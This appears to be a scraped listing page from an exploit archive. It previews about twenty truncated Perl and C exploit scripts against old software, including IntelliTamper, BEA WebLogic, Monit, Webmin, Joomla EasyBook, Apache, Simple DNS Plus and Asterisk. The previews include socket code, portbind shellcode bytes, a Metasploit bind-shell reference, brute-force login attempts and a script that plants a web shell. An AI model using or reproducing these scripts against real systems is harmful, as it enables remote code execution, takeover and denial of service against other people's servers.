IntelliTamper 2.07 (server header) Remote Code Execution Exploit

Exploit for unknown platform in category remote exploits ================================================================ IntelliTamper 2.07 server header Remote Code Execution Exploit ================================================================ !/usr/bin/perl IntelliTamper 2.07 Remote Code...

Arctic Issue Tracker 2.0.0 - filter SQL Injection (2)

Arctic Issue Tracker 2.0.0 - filter SQL Injection 2 !/usr/bin/perl use IO::Socket; print q ----------------------------------------------- Arctic Issue Tracker v2.0.0 exploit by ldma SubCode use: arctic.pl server dir sample: $perl arctic.pl localhost /arctic/...

hifriend-xploit.txt

!/usr/bin/perl =pod ---------------------------- ------Header Injection------ ---------------------------- Script: hifriend.pl Vendor: Hibyte Software Version: The free one you get from many webpages Dork: "hifriend.pl" + "cgi-bin" Found & coded by Perforin www.DarK-CodeZ.com www.vx.perforin.de.v...

Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit

No description provided by source. // Bea Weblogic -- Apache Connector Remote Exploit +-1day // Should stack break latest Windows Server 2003 address space randomization // BIG THANKS TO // "dong-hun you"Xpl017Elz in INetCop - for his paper // "Title: Advanced exploitation in exec-shield Fedora...

Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit

Exploit for unknown platform in category remote exploits =================================================================== Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit =================================================================== // Bea Weblogic -- Apache Connector...

Bea Weblogic Apache Connector - Code Execution / Denial of Service

// Bea Weblogic -- Apache Connector Remote Exploit +-1day // Should stack break latest Windows Server 2003 // BIG THANKS TO // "dong-hun you"Xpl017Elz in INetCop - for his paper // "Title: Advanced exploitation in exec-shield Fedora Core case study" // His technique works fine against Windows 200...

sdns-remote-dos.pl.txt

!/usr/bin/perl Simple DNS Plus 5.0/4.1 Exploit written by Exodus. http://www.blackhat.org.il use IO::Socket; if@ARGV "; $sock = IO::Socket::INET-newPeerAddr = "$ARGV0:$ARGV1", Proto = 'UDP' || die"Cant connect DNS server"; $address = $ARGV0; $trans = pack"H4","1337"; $flags =...

Simple DNS Plus 5.04.1 - Remote Denial of Service

Simple DNS Plus 5.04.1 - Remote Denial of Service !/usr/bin/perl Simple DNS Plus 5.0/4.1 Exploit written by Exodus. http://www.blackhat.org.il use IO::Socket; if@ARGV "; $sock = IO::Socket::INET-newPeerAddr = "$ARGV0:$ARGV1", Proto = 'UDP' || die"Cant connect DNS server"; $address = $ARGV0; $tran...

fuzzylinecms-exec.txt

!/usr/bin/perl fuzzylime 3.0.1 Perl exploit discovered & written by Ams [email protected] DESCRIPTION: There are availability to load files through script rss.php, and also there are unfiltered extract; usage. This exploit creates shell in /code/counter/middleindexinc.php USAGE: Run exploit: perl...

Apache <= 2.0.49 Arbitrary Long HTTP Headers Denial of Service

No description provided by source. /usr/bin/perl -w use IO::Socket::INET; usage unless @ARGV == 2; my $host = shift@ARGV; my $port = shift@ARGV; sub usage print "\n"; print "\n Apache HTTPd Arbitrary Long HTTP Headers DoS \n"; print " Tested Versions : 2 2.0.49 \n"; print " Adv :...

Emulive Server4 7560 Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl EmuLive Server4 Commerce Edition Build 7560 Remote crash proof of conecpt code. When the machine running Server4 recieves a malformed request on TCP port 66 it crashes very hard! GulfTech Security http://www.gulftech.org use IO::Socket; unless...

QNX Neutrino 0.8.4 Atomic Edition - Remote Code Execution

QNX Neutrino 0.8.4 Atomic Edition - Remote Code Execution !/usr/bin/perl Neutrino 0.8.4 Atomic Edition Perl exploit discovered & written by Ams [email protected] DESCRIPTION: First exploit destroys "/data/sess.php" file simply strips tags, then we are able to bypass authorization and using admin...

Galatolo Web Manager 1.0 XSS / Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= Galatolo Web Manager 1.0 XSS / Local File Inclusion Vulnerability ================================================================= !/usr/bin/perl Galatolo Web Manager 1.0...

Galatolo Web Manager 1.0 - Cross-Site Scripting Local File Inclusion

Galatolo Web Manager 1.0 - Cross-Site Scripting Local File Inclusion !/usr/bin/perl Galatolo Web Manager 1.0 Remote Command Execution Exploit by yeat - stakerathotmaildotit use IO::Socket; use LWP::UserAgent; my $lwp,$response = new LWP::UserAgent; my $host,$path = @ARGV; if @ARGV != 2 print...

Webmin BruteForce and Command Execution Exploit

No description provided by source. !/usr/bin/perl Webmin BruteForce + Command execution - By Di42lo [email protected] usage ./bruteforce.webmin.pl host command ./bruteforce.webmin.pl 192.168.0.5 "uptime" + BruteForcing... + trying to enter with: admim + trying to enter with: admin...

asterisksip-dos.txt

!/usr/bin/perl -w asterisk AST-2008-008 by [email protected] AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode use Getopt::Std; use IO::Socket; use strict; my %args; getopts"h:p:", %args; if !$argsh || !$argsp usage; my $sock = IO::Socket::INET-new...

BlackJumboDog Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl blackJumboDog Exploit code by Tal zeltzer use strict; use IO::Socket::INET; usage unless@ARGV == 2; my $host = shift@ARGV; my $port = shift@ARGV; win32bind - Encoded Shellcode \x00\x0a\x09 EXITFUNC=seh LPORT=4444 Size=399 http://metasploit.com my...

Monit <= 4.1 Remote Root Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl monit = 4.1 remote root exploit coded by gsicht 09.04.04 use IO::Socket::INET; $socket = 0; my $shellcode = 8 + 88 = 96 bytes portbind 31337 "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x31\xc0\x31\xdb\xb0\x17\xcd\x8...

joomlaeasy-sql.txt

!/usr/bin/perl use IO::Socket; use strict; INFO Example: Host: xxx.lu &md: 0f8ab366793a0d1da85c6f5a8d4fb576 print "-+-- Joomla Component EasyBook 1.1 SQL Injection Exploit--+-\n"; print "-+-- --+-\n"; print "-+-- Author: ZAMUT --+-\n"; print "-+-- Vuln: gbid= --+-\n"; print "-+-- Homepage:...

Asterisk 1.2.x - SIP channel driver / in pedantic mode Remote Crash

!/usr/bin/perl -w asterisk AST-2008-008 by [email protected] AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode use Getopt::Std; use IO::Socket; use strict; my %args; getopts"h:p:", %args; if !$argsh || !$argsp usage; my $sock = IO::Socket::INET-new...